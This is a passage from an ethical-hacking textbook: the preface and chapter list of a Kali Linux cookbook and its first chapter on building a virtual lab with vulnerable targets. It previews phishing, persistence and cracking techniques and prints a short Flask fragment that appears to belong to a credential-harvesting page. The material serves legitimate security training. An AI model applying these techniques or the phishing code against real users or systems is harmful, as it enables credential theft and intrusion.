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Preface

Kali Linux has long stood as the cornerstone for penetration testers, ethical hackers, and cy-
bersecurity professionals around the world. This third edition of the Kali Linux Cookbook brings
together practical, real-world examples designed to walk readers through the full spectrum of
modern offensive security techniques. With each chapter presented as a series of self-contained
recipes, you can easily replicate attacks, explore vulnerabilities, and understand the mechanics

behind the tools that shape the modern cybersecurity landscape.

From reconnaissance and exploitation to persistence and post-exploitation, this book reflects
the evolution of threat actors and defensive countermeasures, offering both foundational skills
and advanced methodologies. Whether you are just beginning your ethical hacking journey or
expanding an established security practice, these hands-on examples provide the clarity and

confidence to apply Kali Linux effectively in any testing environment.

Who this book is for

This book is intended for cybersecurity professionals, ethical hackers, penetration testers, and IT
students who wish to learn or refine their offensive security skills using Kali Linux. Familiarity
with basic networking, operating systems, and the command line is recommended. No prior
experience with penetration testing is required; each recipe provides step-by-step guidance to

ensure successful completion in a virtualized lab environment.

What this book covers

Chapter 1, Bootstrapping Your Cyber Arsenal, introduces the Kali Linux environment and demon-
strates how to prepare your penetration testing lab using VirtualBox and Metasploitable targets.

You will learn how to configure networks, update Kali, and validate tool installations.

Chapter 2, Cloak and Dagger: Stealth and Anonymity, explores anonymity, obfuscation, and secure
browsing techniques. You will learn how to use Tor, proxy chains, and VPNs to mask your digital

footprint during penetration testing.

Chapter 3, Deep Recon: Unveiling the Digital Landscape, covers reconnaissance tools such as DN-
SRecon, Maltego, and Shodan to gather intelligence on your targets. You'll learn how to map

networks, analyze routing, and identify cloud assets.
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Chapter 4, Nmap Mastery — Scanning with Precision, focuses on using Nmap for network discovery
and vulnerability scanning. You will learn how to interpret results and optimize scans for speed,

stealth, and accuracy.

Chaypter 5, Wireshark Wizard: Network Traffic Demystified, teaches you packet capture and analysis
techniques using Wireshark. You will learn how to identify malicious traffic, decode protocols,

and analyze attack behaviors.

Chapter 6, Weaknesses Exposed: Advanced Vulnerability Analysis, demonstrates vulnerability assess-
ment workflows using OpenVAS, Nikto, and related tools. You will learn how to interpret and

prioritize discovered weaknesses for further exploitation.

Chapter 7, Exploitation Unleashed: Finding the Hidden Flaws, introduces exploitation with Metasploit
and manual attack techniques. You will develop and deploy exploits against vulnerable targets

to gain initial access.

Chapter 8, Human Hacking: The Art of Social Engineering, explores social engineering, phishing, and
Al-enhanced deception. You will learn how to create realistic phishing campaigns, clone websites,

generate malicious QR codes, and perform Al-assisted reconnaissance.

Chapter 9, Breaking Barriers — The Secrets of Password Cracking, covers password cracking strategies
using John the Ripper, Hydra, and CeWL. You will build and optimize custom wordlists and attack

both local and remote authentication systems.

Chapter 10, Climbing the Ladder — Mastering Privilege Escalation, examines privilege escalation in
both Windows and Linux environments. You will learn how to chain exploits and leverage mis-

configurations to obtain administrative access.

Chapter 11, Wireless Warfare — Dominating the Airwaves, focuses on wireless security testing, in-
cluding WPA/WPA2 cracking, rogue access point creation, and denial-of-service attacks. You will

also explore MAC filtering, SSID discovery, and Evil Twin attacks.

Chapter 12, Web Warriors — Exploiting Online and Database Vulnerabilities, provides hands-on expe-
rience in exploiting web applications and databases. You will learn about SQL injection with SQL-

Map, perform WordPress and Drupal assessments, and enumerate vulnerable web technologies.

Chapter 13, Persistence Pays — Securing Long-Term Access, explains post-exploitation persistence
techniques, including creating hidden users, establishing covert channels, and encrypting com-

munications for stealthy long-term access.
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To get the most out of this book

Before starting, ensure you have a properly configured lab environment. All exercises were designed
for use with VirtualBox and a collection of prebuilt vulnerable machines, including Metasploitable
3 (Windows and Ubuntu), BeeBox, and Damn Vulnerable Linux. Your Kali Linux VM should be

configured with both host-only and bridged adapters to simulate internal and external networks.

Download the example code files
The code bundle for the book is hosted on GitHub at https://github.com/PacktPublishing/

Kali-Linux-Cookbook. We also have other code bundles from our rich catalog of books and videos

available at https://github.com/PacktPublishing. Check them out!

Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this book.
You can download it here: https://packt.link/gbp/9781835889800.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file
extensions, pathnames, dummy URLs, user input, and X (formerly known as Twitter) handles.

For example: “In this case, the netblock associated with this IP address range is 142.250.0.0/15,
which includes the IP addresses 142.250.0.0 to 142.251.255.255.”

Ablock of code is set as follows:

from flask import Flask, request, session, redirect, url_for, render_
template_string

import os

app = Flask(__name_ )

app.secret_key = os.urandom(16)

@app.route("/", methods=["GET", "POST"])


https://github.com/PacktPublishing/Kali-Linux-Cookbook
https://github.com/PacktPublishing/Kali-Linux-Cookbook
https://github.com/PacktPublishing
 https://packt.link/gbp/9781835889800
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def get_package_id():
if request.method == "POST":
package_id = request.form.get("package _id")
session["package_id"] = package_id

return redirect(url_for("get _user_credentials"))

Any command-line input or output is written as follows:

sudo apt update

sudo apt install python3 python3-pip python3-flask

Bold: Indicates a new term, an important word, or words that you see on the screen. For instance,
words in menus or dialog boxes appear in the text like this. For example: “In this recipe, we focus
on how artificial intelligence (AI) can aid in reconnaissance, helping you identify and analyze

potential targets more swiftly and accurately than ever before.”
Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book or have any general feed-
back, please email us at customercare@packt.com and mention the book’s title in the subject

of your message.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you have found a mistake in this book, we would be grateful if you reported this to us.
Please visit http://www.packt.com/submit-errata, click Submit Errata, and fill in the form. We
ensure that all valid errata are promptly updated in the GitHub repository at https://github.
com/PacktPublishing/Kali-Linux-Cookbook.

Piracy: If you come across any illegal copies of our works in any form on the internet, we would
be grateful if you would provide us with the location address or website name. Please contact us

at copyright@packt.comwith a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you

are interested in either writing or contributing to a book, please visit http://authors.packt.com/.


http://www.packt.com/submit-errata
https://github.com/PacktPublishing/Kali-Linux-Cookbook
https://github.com/PacktPublishing/Kali-Linux-Cookbook
http://authors.packt.com/
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Bootstrapping Your Cyber
Arsenal

In this chapter, we will start by setting up the core of our lab environment, which will serve as the
foundation for most of the demonstrations throughout the book. The lab setup will be performed
on an x86 Windows platform using VirtualBox. The term x86 commonly refers to the processor
architecture of Intel and AMD processors. We do not recommend using Apple silicon Macs, as
VirtualBox currently does not allow x86 architecture emulation. At the time of writing, support

for x86 Windows operating systems running under Apple silicon is a stated goal of the project.

If you are seeking a more sophisticated setup, you can build a full-scale virtualization environment,
assuming your hardware and resources allow for it. In the past, VMware was often my go-to rec-
ommendation for such environments due to its robustness and flexibility. While it remains a good
option, its recent acquisition by Broadcom has introduced licensing changes and limitations in
the free tier that make it less appealing, especially for home labs. As a result, my current recom-
mendation for home-based virtualization is Proxmox. Proxmox is open source, well supported by

the community, and offers many features, making it ideal for a flexible, robust lab environment.

Throughout this book, the lab environment will be a hands-on playground where you can test
various tools and techniques in a controlled setting. By completing this chapter, you will have
a fully functional lab that mirrors the real-world environments you’ll encounter in your career,

whether you’re a penetration tester, security researcher, or network administrator.
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The following recipes will be covered in this chapter:

e Lab architecture/considerations

Installing VirtualBox on Windows

e Installing Kali in VirtualBox

¢ Installing Kali in Docker

o Installing Kali on Raspberry PI

e Updating and upgrading Kali Linux

e Installation of Kali metapackages

e  Securing Kali

e Checking for rootkits and other exploits

e Installing Metasploitable3 Linux and Windows VMs
e Installing Damn Vulnerable Linux (DVL)

e Installing and setting up bWAPP via bee-box

e  Other test machines

Free Benefits with Your Book
Your purchase includes a free PDF copy of this book along with other exclusive benefits. Check
the Free Benefits with Your Book section in the Preface to unlock them instantly and maximize

your learning experience.

Technical requirements

The following are the necessary requirements:
e Host device requirements:

¢ An x86 Windows computer or Intel-based Apple Mac computer

e  Minimum 16 GB of RAM (32 GB or more of RAM recommended to reduce VM churn)
e  Storage and connectivity:

e 250 GB of free disk space

e Internet access with any content filtering temporarily disabled
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e Software considerations:
e Antivirus or antimalware software:

e  Temporarily disabled (please be cautious and ensure the credibility and

authenticity of your downloads)

e Removed if it flags downloads and quarantines them
e Administrative access:
e Administrative privileges on the host computer are necessary

While an Apple silicon Mac can run Kali Linux in VirtualBox, it cannot run the Windows x86 op-
erating system due to current limitations with VirtualBox. However, other options for virtualiza-
tion will allow Windows to run on Apple silicon Macs, such as Parallels or UTM virtual machines.
However, these will use the version of Microsoft Windows for the ARM64 architecture. Because
most of your targets in the wild at this point will be Windows on x86 processors, I would highly

suggest using an x86 architecture system.

Lab architecture and considerations

The lab environment will consist of Kali Linux as the primary attacking platform, along with
several intentionally vulnerable target systems. You might be wondering, “Why do we use old-
er, unpatched versions of Windows as target machines?” The rationale behind this choice is
straightforward: a fully patched and properly maintained Windows operating system is highly
secure and difficult to penetrate. In the real world, attackers aren’t typically looking to exploit
secure, well-maintained systems. Instead, they focus on those forgotten or neglected machines

that might be running outdated software or haven’t been patched in a long time.

These forgotten systems are not as rare as one might think. For example, some organizations
might still have an old Windows XP machine running some critical legacy software that can’t
be updated, or a server that was taken offline for maintenance and then brought back online
withoutre-enabling automatic patching. These types of systems can remain hidden in plain sight,

unmonitored, and vulnerable, offering an enticing target for attackers.

In the context of our lab, we will be simulating this real-world scenario by setting up such vulnera-
ble machines. The goal is to mimic the environments attackers often encounter, where the weakest
link in the chain is a forgotten or neglected system. By practicing on these kinds of targets, you’ll

gain a deeper understanding of how attackers think, operate, and exploit weaknesses in a network.
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It’'s worth noting that the principles you’ll learn here extend beyond just older systems. While
we use these unpatched machines for instructional purposes, the techniques and methodologies
we’ll cover can be applied to a wide range of real-world scenarios, including more modern sys-
tems that may have specific vulnerabilities due to misconfiguration or delays in patching. The
key is to focus on finding and exploiting the weakest points in the environment. Whether it’s an
old legacy machine or a more recent system with an overlooked vulnerability, the concepts we’ll

practice will help you understand how to identify, analyze, and exploit security gaps effectively.

Installing VirtualBox on Windows

This section will walk you through the steps to download, install, and configure VirtualBox on
a Windows host. We’ll cover verifying system requirements, selecting the right installer, and
performing a basic configuration to ensure the software is ready to support virtual machines for

your projects.

Getting ready...

Ensure the Windows PC meets the minimum requirements, as stated, and you have administra-

tive access to the device.

How to do it...

1. Using your web browser, download the latest version of VirtualBox and the VirtualBox

extension pack from https://www.virtualbox.org.

18 VirtualBox Home Download Documentation Community (@

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

, VirtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.2.2 Extension Pack
VirtualBox 7.2.2 platform packages
B Windows hosts This VirtualBox Extension Pack Personal Use and Educational License
TS e governs your access to and use of the VirtualBox Extension Pack. It does
W = not apply to the VirtualBox base package andor its source code, which
B macos / Apple Silicon hosts are licensed under version 3 of the GNU General Public License "GPL").
[ Linux distributions
e See our FAQ for answers to common questions.
{ i solaris 111PS hosts VirtualBox Extension Pack Personal Use and Educational License
e v
\ Platform packages are released under the terms of the GPL version 3 b= PUEL Picense Accept and download

sy

User Guide /

IIIIIIIIIIA

Change Log File Checksums
staiEmgs SHA256 checksums

MDS5 checksums

Figure 1.1 - VirtualBox download site
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10.

Browse the folder containing the VirtualBox installer (for example, Virtual-

Box-7.1.4-165100-Win.exe) and double-click it to begin the installation.
Click Next in the setup wizard.
Select the radio button labeled I accept the terms of the License Agreement and click Next.

On the Custom Setup screen, click Next, leaving the defaults selected.

You will likely receive a Warning: Network Interface screen warning that the network

interfaces will be reset. Click Yes to proceed with the installation.

You will likely see a Missing Dependencies screen. Click Yes to proceed with the instal-

lation.

On the Custom Setup screen, select your preferences and click Next.

On the Ready to Install screen, click Install.

Once the installation is finished, select Start Oracle VirtualBox... and click Finish.

Once VirtualBox launches, select File | Preferences and select Expert to see all available
options. Under General, ensure your default machine folder is appropriate for installation.

V3 Oracle VirtualBox Manager - O
File Machine Help
| ol A o
Vi
(1] Mew Open Preferences Import Export
]| Getstarted with VirtualBox
Configure VirtualBox Manager te work with your computer
=}
Crezte a new virtual machine (VM)
E3 Open a saved VirtualBox VM
(&) !mportaVM from open virtualization or cloud formats
Refer to the VirtualBox documentation or press F1 for help.

Visit virtualbox.org to download test builds, access the source code, and more.

& VirtualBox - Preferences -

Easl(M Search settings &

]

& I Default Machine Folder | D\Virtual Machined | -
Input
VRDP Authentication Library | [ ) VBoxAuth -
&) update
p Input
€D Language
VirtualBox Manager | Virtual Machine

) oispray
P Mame - Shortcut =

raxy
— About VirtualBox...
] interface Activity

oK Cancel Help

Figure 1.2- VirtualBox General preferences
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11. Next, select Update, ensure updates are enabled, and set to your preference. Select OK to

exit the Preferences screen.

db VirtualBox - Preferences = O e
Basicﬂ Search settings &£
E General Update

@ Stable Release Versions

Input
All Mew Releases

m All Mew Releases and Pre-Releases

V| Check for Updates
@ Language
Once per | 1day hd

W oispray Next Check 10/24/2025

Proxy lerrers

Defoutt
[ tnterface English (built-in)

Bahasa Indonesia

Catala

Cettina

Dansk

Neuterh Merterhlandl

| QK Cancel Help

Figure 1.3 - VirtualBox update
12. To install the extension pack. From the main screen, click the icon on the right of Tools
and select Extensions.
13. Click Install, browse to the location of the extension pack, and click Open.

w—j Oracle VirtualBox Manager

File Machine Extension Help

° |

| [] Install | Uninstall

Active Mame

g I8
=
g
al

Figure 1.4 - VirtualBox extension pack

14. Youwill be prompted with a screen to install the extension pack. Click Install to continue.

15. Scroll down on the license agreement and click I Agree.
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16. Let’s set up VirtualBox networking for our lab.

on Network.

Select Tools under file menu and click

V5 Oracle VirtualBox Manager

Machine Help
& Preferences... Ctrl+G
{5l Import Appliance... Ctrl+!
(R: Export Appliance Ctri+E

] Home

[ Machines

Extensions Ctrl+ T
Ctrl+D

) Check for Updates...
£\ Reset All Wamnings

Ctrl+P

Refer to the VirtualBox documents (o] Resources

Visit virtualbox.org te download test builds, access the source code, and more.

=

Figure 1.5 - VirtualBox network

17. Check and ensure you have both a Host-only Networks entry and a NAT Networks entry.

A host-only network limits accessibility to only the local network, reducing internet con-

nectivity and limiting any exposure to risks associated with Internet access. If not, create

each by selecting the appropriate tab and clicking Create. It will automatically populate,
and the defaults should be sufficient for the lab.

T3 Oracle VirtualBox Manager

MAT Metworks I Cloud Metworks

File Machine MNetwork Help
g R
['_]J Create | Remove | Properties
.mJ [Host-onlyNetworks
| E] Name
VirtualBox Host-Only Ethernet Adapter 22
&

Figure 1.6 - Creating networks on VirtualBox

18. Now exit VirtualBox.
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How it works...

VirtualBox is powerful, open source virtualization software that enables users to run multiple
operating systems simultaneously on a single physical machine. The process begins with install-
ing VirtualBox on the host operating system, such as Windows, macOS, or Linux. Once installed,
users can run multiple operating systems simultaneously on a single physical machine by creating
virtual machines (VMs). Each VM acts independently, running its own OS and applications like

a separate physical computer.

There is more...

There are many virtualization platforms out there that may be used. You may desire a dedicated
server to expand your lab as you progress beyond this book. In such a case, I would recommend

using Proxmox: https://www.proxmox.com.

Proxmox is an open source virtualization platform that you may use for free. There are subscription
tiers available, but they are optional for personal use. If you have access to a computer that you
want to dedicate to your lab, Proxmox would be a great choice for this. A dedicated environment
will allow you far more latitude in the development of your lab scenario while not impacting the

resources of your personal computer.

Installing Kali Linux in VirtualBox

In this recipe, we’ll walk you through the step-by-step process of setting up and configuring
Kali Linux in VirtualBox. Kali Linux is a purpose-built Linux distribution designed specifically
for penetration testing and security auditing. By using VirtualBox, you can run Kali Linux in a
virtual environment on your existing operating system, making it convenient to use and test its

many features without altering your primary system.

Getting ready...

You need the following to complete this recipe:

e  VirtualBox is correctly installed on the host computer or a similar hypervisor and config-

ured to meet the requirements of the lab environment.


https://www.proxmox.com
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How to do it...

1

o ok W

7.

To begin, you must install 7-Zip to extract the Kali Linux software. Download the 7-Zip

installer at https://www.7-zip.org.

Browse to the location where the file was downloaded and double-click the file to begin

the installation.

Once you receive the message stating 7-Zip is installed, click Close.

Next, download the Kali VM from this link: https://www.kali.org/get-kali.

On the main screen, you will be presented with multiple options — select Virtual Machines.

This will present you with multiple hypervisor options. Select VirtualBox 64 and click

the down arrow to begin the download.

N7 Pre-built Virtual Machines

Kali Linux VMware & VirtualBox images are available for users who prefer, or whose specific needs require a
virtual machine installation.

These images have th dentials "kali/kali".

Virtual Machines Documentation »

Figure 1.7 - Kali download

Browse to the location of the file you just downloaded.


https://www.7-zip.org
https://www.kali.org/get-kali
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8. Right-click on the kali-linux.. .7z file, select 7-Zip, then Extract to ‘kali-linux...’.

B jali-linux-2024.3-vmware-am X i

ThisPC > New Volume (D) > Virtual Machines kali-linux-2024.3-vmware-amd64

8 extractall

Open in newtab
Open in new window

Add to Favorites

Extract All...

ds 7-Zip > Open archive

. Pin to Start Open archive
ments
Scan with Microsoft Defender... Extract files.
Open with ? Extract Here
Copy as path Extract to "kali-linux-2025 3-virtualbox-amd64\"
Share Test archive
Restore previous versions Add to archive..
Sendto Compress and email..
Add to "kali-finux-2025 3-virtualbox-amd64.72. 72"
Cut
Compress to "kali-linux-2025.3-virtualbox-amd64 7272 and email
Copy
Add to "kali-linux-2025.3-virtualbox-amd64.7z.zip"
Create shortcut Compress to "kali-linux-2025.3-virtualbox-amd64.72.zip" and email

B8 Chapterd! leziz CRCSHA
Rename

Properties
OnePlus 12R

W This PC

Figure 1.8 - Extract kali

9. This will create a new folder named kali-1linux..

10. Move the kali-1linux..folder to the default virtual machine folder that was defined in

the previous recipe.

11. Launch VirtualBox, and from the menu bar on top, select Machine and click Open...

15 Oracle VirtualBox Manager

i RN v
G New. Ctrl+N ey
&l (R

Ql

a Import  Export

a Get started with VirtualBox
Configure VirtualBox Manager to work with your computer
Create a new virtual machine (VM)

- Open a saved VirtualBox VM

il Import a VM from open virtualization or cloud formats

Refer to the VirtualBox documentation or press F1 for help.

Visit virtualbox.org to download test builds, access the source code, and more.

Figure 1.9 - Adding the VM
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12. You will be presented with the file manager and should see the folder you moved in the

prior steps. Double-click the folder and you will be presented with one file with a . vbox

extension. Select this file and click Open.

\@//

Tip

If you do not see the folder, please double-check that you moved the folder

to the proper location.

You will now see a new VM labeled kali-linux... on the left side of the screen.

13. Click on kali-linux machine and select Details tab

15 Oracle VirtualBox Manager

File

Q

‘.-J

el

B=

14. Now, from the menu bar, select Settings, which will open the VM settings dialog box.

b6iBN Kali-linux-2025.3-virtualbox-amd64

Mschine Help
ar

New Open  Settings Discard
B @ Powered Off

&=
= General = Preview
Mame: Kali-linux-2025 3-virtuslbox-amd64

Operating System:  Debian (64-bit)

System
Base Memory: 2048 MB -
Processors: 2 virtualbox-amd64
Boot Order: Hard Disk, Optical
Acceleration:  PAE/NX, KVM Paravirtualization

k nux-2025.3-

] Display
Video Memory: 128 MB
Graphics Controller.  VMSVGA
Remote Desktop Server: Disabled
Recording: Disabled
Storage
Controller: IDE
IDE Secondary Device 0: [Optical Drive] Empty
Controller: SATA
SATA Port 0: Kali-linux-2025 3-virtualbox-amd64.vdi (Normal, 80.09 GB)

(0 Audio

Host Driver:  Windows DirectSeund
Centroller:  ICH AC97

= Network
Adapter 11 Intel PRO/1000 MT Desktop (NAT)

(5 use

USB Controller: OHCI
Device Filters: 0 (0 active)

[l Shared folders
None

&) Description

Figure 1.10 - VM details
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15. From here, you can modify the VM’s settings. Change the network configuration to ac-
commodate your lab environment by scrolling down to the Network section. Here, for
Adapter 1, check the box next to Enable Network Adapter and select the NAT option in
the Attached to dropdown. For Adapter 2, make sure the network adapter is also enabled
and select Host-only Adapter for Attached to.

€3 kali-linux-2025.3-virtualbox-amd64 - Settings = a X
Basic M Search settings £
E General Network
Adapter 1 Adapter2 | Adapter3 | Adapterd
System
v | Enable Metwork Adapter
|:r| DEEky Attached to | Host-only Adapter -
Storage Name | VirtualBox Host-Only Ethernet Adapter -
Adapter Type | Intel PRO/1000 MT Desktop (82340EM) =
(D] Audio
Promiscucus Mode | Deny -
=1
[ bt MAC Address |080027147BE9 5]
@ Serial Ports v Virtual Cable Connected
ﬁ Use
Ij Shared Folders Serial Ports
lf‘ User Interface Port 1 Port 2 Port 3 Port 4
| QK Cancel Help

Figure 1.11 - Kali network settings

Tip

V4 If your computer has more than the minimum requirements, you may want
\@/ to increase the memory from 2048 MB to 4096 MB and the number of pro-
cessors from 2 to 4. This would be under the System section on the Moth-

erboard and Processor tabs.

16. Once all settings are updated, click OK.



Chapter 1 13

17. Once back at the main VirtualBox Manager screen, select the VM and click on Start.

'S

File Machine Help

o Qg @
Di Start

|_-J New Open Settings

a BEN kali-finux-2025.3-virtualbox-amd64 m Detaits @ 0 ml O
[ © rowered orf e

- = General = Preview

1

= Name: kali-linux-2025.3-virtualbox-amdg4

f Operating System: Debian (64-bit}

[T
[®] system

A o s ZTEYE k.all-llnux-2025.3-
Processors: 2 virtualbox-amd64

= Boot Order:  Hard Disk, Optical

Acceleration:  PAE/NX, KVM Paravirtualization

5] Display

Video Memory: 128 M8

Graphics Controller.  VMSVGA
Remote Desktop Server: Disabled
Recording: Disabled

Storage
Controller: IDE
IDE Secondary Device 0: - [Dptical Drive] Empty
Controller: SATA
SATA Port D: kali-linux-2025.3-virtualbox-amd64.veli (Normal, 80.09 GB)

{0 Audio

Host Driver:  Windows DirectSound
Controller  ICH AC97

EP Network

Adapter 1:  Intel PRO/1000 MT Desktop (NAT)
Adapter 2:  Intel PRO/1000 MT Desktop (Host-only Adapter, 'VirtualBox Host-Only Ethemet Adapter')

(9 usB

USE Controller:  OHC|
Device Filters: 0 (0 active)

[C] Shared folders
Nene

&) Description
Figure 1.12 - Starting Kali

Once the Kali VM starts, you can log in with the kali username and kali password.

How it works...

Having pre-built VMs is the easiest way to get your environment up and running. As seen in the
recipe, you got a working Kali environment up and running in mere minutes using the pre-built
VMs.

There is more...

There are a variety of methods and configurations to install Kali Linux. We will explore some of
these later in this chapter. However, it’s essential to familiarize yourself with them, as a robust
toolkit may require Kali installed in various ways on multiple platforms. Please review the various

methods outlined here: https://www.kali.org/docs/installation/.


https://www.kali.org/docs/installation/
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Installing Kali in Docker

In this recipe, we will walk through the process of installing and configuring Kali Linux inside a
Docker container. Kali Linux on Docker provides benefits that offer flexibility and efficiency for
penetration testing and security research tasks. Docker containers provide an isolated environ-
ment, allowing you to run Kali tools without affecting the host system. Containers ensure porta-
bility, enabling you to quickly transfer your Kali setup across different systems or environments,
maintaining consistency. Running Kali in a Docker container is typically more resource-efficient
than operating a VM. Docker simplifies the configuration and management of Kali Linux instances,
allowing for quick deployment and removal. This approach also facilitates scalability, as you can

run multiple instances of Kali Linux concurrently, each configured for unique purposes.

Getting ready...

We need the following to complete this recipe:

e Aworking and properly configured Docker environment

e Portainer, a container management system, set up and working properly: https://

portainer.io

How to do it...
1.  Access the Portainer web interface of your Docker host and log in if needed.

2.  Select the appropriate Docker version—you may have only one option—and click Live

connect.

© Ungrade to Business Edition &

PORTAINER.IO < "°ome?

Latest News From Portainer

Portainer 2.
Helm,

& Environments Q © Refresh

BECPU  @oaGERAM

Figure 1.13 - Portainer main interface

3. Inthe menu on the left, click Stacks.


https://portainer.io

https://portainer.io
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4.
5.

Tip
\’/ Portainer stacks are the equivalent of Docker Compose files you use via the

command-line interface.

Select Add Stack.

Name the stack and leave the default build method as Web editor.

> Add stack

Create stack &

kali-linux

ing docker compose

Build method

% Web editor

Web editor

lscr.io/linuxserver/kali-linux:latest
: kali-linux

:unconfined

true
GUID=1608
TZ-Asia/Kolkata
./kali-linux/config:/config
3066: 3608

3001:3601
: unless-stopped

Figure 1.14 - Portainer - name the stack
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6. In Web editor, apply the following configuration:

services:
kali-linux:
image: lscr.io/linuxserver/kali-linux:latest
container_name: kali-linux
security opt:
- seccomp:unconfined
privileged: true
environment:
- PUID=1000
- PGID=1000
- TZ=US/Eastern
volumes:
- ./kali-linux/config:/config
ports:
- 3000:3000
- 3001:3001

restart: unless-stopped

Tip
Y We are using a straightforward configuration that provides the most compat-
\/;ﬂ> ibility. However, there may be changes required for your exact environment.

Also, if you are more familiar with using Docker via the CLI, you may use

the preceding configuration and place it in a Docker Compose YAML file.

7. Scroll down to the Actions section and click Deploy the stack.

Once the stack is deployed, you may access it using the IP address of your Docker host
and port 3000 — for example, http://127.0.0.1:3000. For my lab, I will go to http://
docker2.int.darkderby.com: 3000, which is the FQDN of the internal host. You will see
the Kali desktop, as shown in Figure 1.15.


http://127.0.0.1:3000
http://docker2.int.darkderby.com:3000,
http://docker2.int.darkderby.com:3000,
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& CG A Notsecure | docker2intdarkderby.com3000 Aty @t % - O

. 6:45PM
R

Figure 1.15 - Kali web accessible interface

How it works...
Avariety of Kali Linux images can be used. This image was created with a VNC interface, allowing
desktop web access. Thisis an excellent environment for those learning about and experimenting

with Kali Linux.

There is more...

Further information about Kali in Docker can be found on the Kali Linux website:

https://www.kali.org/docs/containers/using-kali-docker-images/

There are a variety of options that can be run in Docker. As you progress, I suggest you experiment
with different images, including the official Kali Linux images, to understand Docker’s power

and flexibility.

Installing Kali on Raspberry PI

In this recipe, we will walk through the process of installing Kali Linux on a Raspberry Pi. The
Raspberry Pi is a compact, affordable, and versatile piece of hardware, making it an excellent
platform for learning and experimentation. Despite its small size, the Raspberry Pi offers sufficient
processing power and memory to run Kali Linux effectively, enabling users to perform various se-
curity tasks. The Raspberry Pi allows easy deployment in diverse environments, such as fieldwork,

where you may want to place a small device physically inside an environment you are pen testing.


https://www.kali.org/docs/containers/using-kali-docker-images/
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Getting ready...

You need the following to complete this recipe:

e ARaspberryPi4or5
e  HDMI adapter, cable, and monitor
e Keyboard and mouse

e  Micro SD card — 32 GB minimum

How to do it...
1. Insertthe SD Card reader and card into your Windows PC.

2. From your Windows machine, navigate to https://www.raspberrypi.com/software/.

Raspberry Pi software

From our operating system to our GitHub repos,
explore the software that powers our technology

Raspberry Pi Imager

Raspberry Pi Imager is the quick and easy way to install Raspberry Pi 0S

and other operating systems to a microSD card, ready to use with your ' -
Raspberry Pi. Raspberry Pi

. Raspberry P imager

Download and install Raspberry Pi Imager on a computer with an SD card

reader. Insert the microSD card you'll use with your Raspberry Pi into the
Raspoerry Pi Device Operating System

reader and run Raspberry Pi Imager. _ _

Download for Windows

Download for mac0S

Download for Debian or Ubuntu (x86_64)

Toinstall on Raspberry Pi 0S, type

sudo apt install rpi-imager
into a terminal window

Figure 1.16 - Raspberry Piimager download

3. Download the Raspberry Pi Imager application for Windows.


https://www.raspberrypi.com/software/
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4. Navigate to the download location and start the installation by double-clicking on the

installer named similar to imager_x.x.x.exe.

5. When presented with the Raspberry Pi Imager — Setup dialog, click Install to begin the

installation process.
6. When theinstaller completes, ensure Run Raspberry PiImager is selected and click Finish.

7. You will now be presented with the main Raspberry Pi Imager dialog box. Choose the
appropriate device based on which Raspberry Pi you have. This example uses RASPBERRY
PI 4.

B respoery Pimagervise -0 x|
' Raspberry Pi

Raspberry Pi Device Operating System Storage

RASPBERRY Pl 4 CHOOSE 0S CHOOSE STORAGE

Figure 1.17 - Raspberry Pi Imager CHOOSE OS

8. Next, click on CHOOSE OS. You will be presented with a list of operating systems. Scroll
down and select Other specific-purpose OS.
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Operating System X

Media player 0S >
Media player operating systems

Emulation and game 0S5
Emulators for running retro-computing platforms

Other specific-purpose 0S
Home automation, 3D printing and specialised operating systems
P

Freemium and paid-for 0S

Freemium and paid-for digital signage, 3d printing and thin client operating
systemns

Misc utility images
Bootloader EEPROM configuration, etc.

Erase

Figure 1.18 - Raspberry Pilmager, selecting other OS

9. Next, select Kali Linux and then the 64-bit version.

10. Finally, choose the appropriate storage device and select Next.

(B fospbery Pmagervise -0 X|
' Raspberry Pi

Raspberry Pi Device Operating System Storage

RASPBERRY ... RASPBERRY PI 3, 4, 400, 5 AND 500 .. SANDISK ULTRA USBE DEVICE

Figure 1.19 - Raspberry Pi Imager NEXT
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Tip
\E/‘ It is important to ensure you have selected the correct storage device to

ensure you don’t accidentally erase something important.

11. When presented with the ...apply OS customisation? dialog box, select EDIT SETTINGS.

Would you like to apply OS customisation settings?

| EDIT SETTINGS NO, CLEAR SETTINGS

Figure 1.20 - Raspberry Pilmager EDIT SETTINGS
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12. From the OS Customisation panel, you have the option to preconfigure various settings.
For this example, enter the username and password and select wireless and locale settings.

Select SAVE to continue.

[ 0S Customisation

General Services Options

D Set hostname: raspberrypi Jocal

D Set username and password
Username: nithik
Password:

D Configure wireless LAN
SSID:

Password:

Wireless LAN country:
D Set locale settings
Time zone:

Keyboard layout:

CANCEL SAVE

Figure 1.21 - Imager OS Customization

13. Now, in the Use OS customisation? menu, select YES.

14. Lastly, select YES on the warning regarding erasing your storage device.

You will finally be presented with a status screen showing the progress of imaging your

SD card (this will take several minutes).

15. Once your image is complete, you will see the write successful dialog box. Click CON-

TINUE to exit the imager.



Chapter 1 23

16. Remove the SD card from the reader and insert it into the Raspberry PI. Connect your
monitor, keyboard, mouse, and power supply. Turn on the power supply and it will au-

tomatically boot.

You will now be presented with the Kali Linux login screen. If your customizations were set up
correctly, you will be able to log in, will have the correct time, and will be connected to the internet

via the wireless settings we used.

How it works...

Raspberry Pi Imager is a straightforward and efficient tool for installing operating systems on
Raspberry Pi devices. Raspberry Pi Imager makes setting up a Raspberry Pi quick and easy, even for
those new to using Raspberry Pi devices. Pairing a Raspberry Pi with Kali gives you a penetration

testing toolkit that can fit in the palm of your hand.

There is more...
Kali is compatible with a variety of single-board computers, such as the Raspberry Pi. Each plat-
form offers unique benefits that may aid in various use cases. You can see a listing of the various

options and research each one on the following website: https://www.kali.org/docs/arm/.

Updating and upgrading Kali Linux

In this recipe, you will walk through the steps to keep Kali Linux updated. Regularly updating
or upgrading Kali Linux is an essential maintenance task. It ensures that your system receives
the latest security patches and fixes, which are crucial for protecting against vulnerabilities and
exploits. Additionally, updates improve performance, as they often include optimizations that
make your system run better. You will also gain access to the latest versions of various penetra-
tion testing tools that Kali Linux offers. These updated tools come with enhanced features and

